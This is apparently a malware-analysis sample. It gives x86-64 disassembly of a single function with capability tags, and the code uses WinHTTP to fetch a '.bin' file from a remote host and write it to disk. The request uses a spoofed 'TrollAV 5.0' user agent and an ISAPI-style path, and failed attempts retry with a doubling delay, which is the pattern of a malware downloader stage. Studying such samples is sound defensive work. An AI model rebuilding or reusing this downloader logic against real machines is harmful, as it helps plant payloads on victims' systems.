Function at 0x401b12
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov eax, 0
mov dword [rbp - 0x3c], eax
mov eax, 0
mov dword [rbp - 0x40], eax
mov eax, 0
mov dword [rbp - 0x44], eax
movabs rax, 0
mov qword [rbp - 8], rax
movabs rax, 0
mov qword [rbp - 0x10], rax
movabs rax, 0
mov qword [rbp - 0x18], rax
movabs rax, 0
mov qword [rbp - 0x20], rax
movabs rax, 0
mov qword [rbp - 0x28], rax
movabs rax, 0
mov qword [rbp - 0x30], rax
mov eax, 1
mov dword [rbp - 0x34], eax
mov eax, 0
mov dword [rbp - 0x38], eax
lea rax, [rbp - 0x44]
mov r8, rax
lea rax, [rbp - 0x40]
mov r11, rax
lea rax, [rbp - 0x3c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.ntdll.dll_RtlGetNtVersionNumbers
mov eax, dword [rbp - 0x38]
cmp eax, 0
je 0x401bcb
jmp 0x40268a
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x100
mov qword [rsp + 0x28], rax
mov eax, 2
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0x40000000
mov r11, rax
mov rax, qword [rbp + 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateFileW
mov qword [rbp - 0x50], rax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
jne 0x401c67
call sub.kernel32.dll_GetLastError
mov ecx, 0x209
mov r8, rcx
mov r11, rax
lea rax, [0x0040411c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0
jmp 0x40268d
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x401ca6
jmp 0x401cef
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x20e
mov r8, rcx
mov r11, rax
lea rax, [0x0040412f]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
lea rcx, str._isapi_isapiv5.dll_v5_ucph_yzxt_240602090713916_0034eb003fff_000019_slgh.bin
mov r9, rcx
lea rcx, [0x00404142]
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
call sub.kernel32.dll_GetProcessHeap
movabs rcx, 0x200
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x401d79
jmp 0x401dc2
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x213
mov r8, rcx
mov r11, rax
lea rax, [0x00404198]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapSize
mov ecx, dword [rbp - 0x44]
and ecx, 0xffff
mov qword [rsp + 0x30], rcx
mov ecx, dword [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov ecx, dword [rbp - 0x3c]
mov qword [rsp + 0x20], rcx
lea rcx, str.TrollAV_5.0
mov r9, rcx
lea rcx, str._hs_WindowsNT_i._i._i_
mov r8, rcx
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.0040136c
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 4
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpen
movsxd rax, eax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x401e83
jmp 0x401ecc
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x224
mov r8, rcx
mov r11, rax
lea rax, [0x004041ec]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov rax, qword [rbp + 0x10]
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpConnect
movsxd rax, eax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x401f0f
jmp 0x401f58
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x227
mov r8, rcx
mov r11, rax
lea rax, [0x004041ff]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
lea rax, [0x00404212]
mov qword [rbp - 0x60], rax
movabs rax, 0
mov qword [rbp - 0x58], rax
mov eax, 0
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov rax, qword [rbp + 0x18]
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpOpenRequest
movsxd rax, eax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x401fda
jmp 0x402023
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x22c
mov r8, rcx
mov r11, rax
lea rax, [0x0040421a]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, 0
mov qword [rsp + 0x30], rax
mov eax, 0
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpSendRequest
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402089
jmp 0x4020d2
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x238
mov r8, rcx
mov r11, rax
lea rax, [0x0040422d]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
movabs rax, 0
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReceiveResponse
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402105
jmp 0x40214e
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x23b
mov r8, rcx
mov r11, rax
lea rax, [0x00404240]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, 0
mov dword [rbp - 0x68], eax
mov eax, 4
mov dword [rbp - 0x6c], eax
movabs rax, 0
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x68]
mov r9, rax
movabs rax, 0
mov r8, rax
mov eax, 0x20000013
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryHeaders
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4021b8
jmp 0x402201
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x247
mov r8, rcx
mov r11, rax
lea rax, [0x00404253]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, dword [rbp - 0x68]
cmp eax, 0x1f4
jb 0x402259
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x248
mov r8, rcx
mov r11, rax
lea rax, [0x00404266]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
lea rax, [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402286
jmp 0x4022cf
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x24c
mov r8, rcx
mov r11, rax
lea rax, [0x00404279]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, 0
mov ecx, dword [rbp - 0x70]
cmp eax, ecx
jne 0x402328
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x24f
mov r8, rcx
mov r11, rax
lea rax, [0x0040428c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
mov eax, dword [rbp - 0x70]
cmp eax, 0
je 0x402564
call sub.kernel32.dll_GetProcessHeap
mov ecx, dword [rbp - 0x70]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapAlloc
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x40236c
jmp 0x4023b5
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x254
mov r8, rcx
mov r11, rax
lea rax, [0x0040429f]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
lea rax, [rbp - 0x74]
mov r9, rax
mov eax, dword [rbp - 0x70]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpReadData
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x4023ef
jmp 0x402438
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x258
mov r8, rcx
mov r11, rax
lea rax, [0x004042b2]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
movabs rax, 0
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x78]
mov r9, rax
mov eax, dword [rbp - 0x74]
mov r8, rax
mov rax, qword [rbp - 0x30]
mov r11, rax
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WriteFile
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402481
jmp 0x4024ab
call sub.kernel32.dll_GetLastError
mov ecx, 0x260
mov r8, rcx
mov r11, rax
lea rax, [0x004042c5]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x402564
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x4024e9
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x70]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.winhttp.dll_WinHttpQueryDataAvailable
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
cmp eax, 0
je 0x402516
jmp 0x40255f
mov eax, dword [rbp - 0x34]
mov ecx, 0x3e8
imul eax, ecx
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov eax, dword [rbp - 0x34]
shl eax, 1
mov dword [rbp - 0x34], eax
call sub.kernel32.dll_GetLastError
mov ecx, 0x26a
mov r8, rcx
mov r11, rax
lea rax, str.ERROR__lu_in__i_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
jmp 0x40256a
jmp 0x402328
mov eax, dword [rbp - 0x64]
mov dword [rbp - 0x38], eax
movabs rax, 0xffffffffffffffff
mov rcx, qword [rbp - 0x50]
cmp rax, rcx
je 0x402590
mov rax, qword [rbp - 0x50]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x30]
cmp rax, 0
je 0x4025ce
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x30]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
movabs rax, 0
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4025eb
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x402608
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x402625
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.winhttp.dll_WinHttpCloseHandle
mov rax, qword [rbp - 0x10]
cmp rax, 0
je 0x402655
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 0x10]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
mov rax, qword [rbp - 8]
cmp rax, 0
je 0x402685
call sub.kernel32.dll_GetProcessHeap
mov rcx, qword [rbp - 8]
mov r8, rcx
mov ecx, 0
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_HeapFree
jmp 0x401bba
mov eax, dword [rbp - 0x38]
leave
ret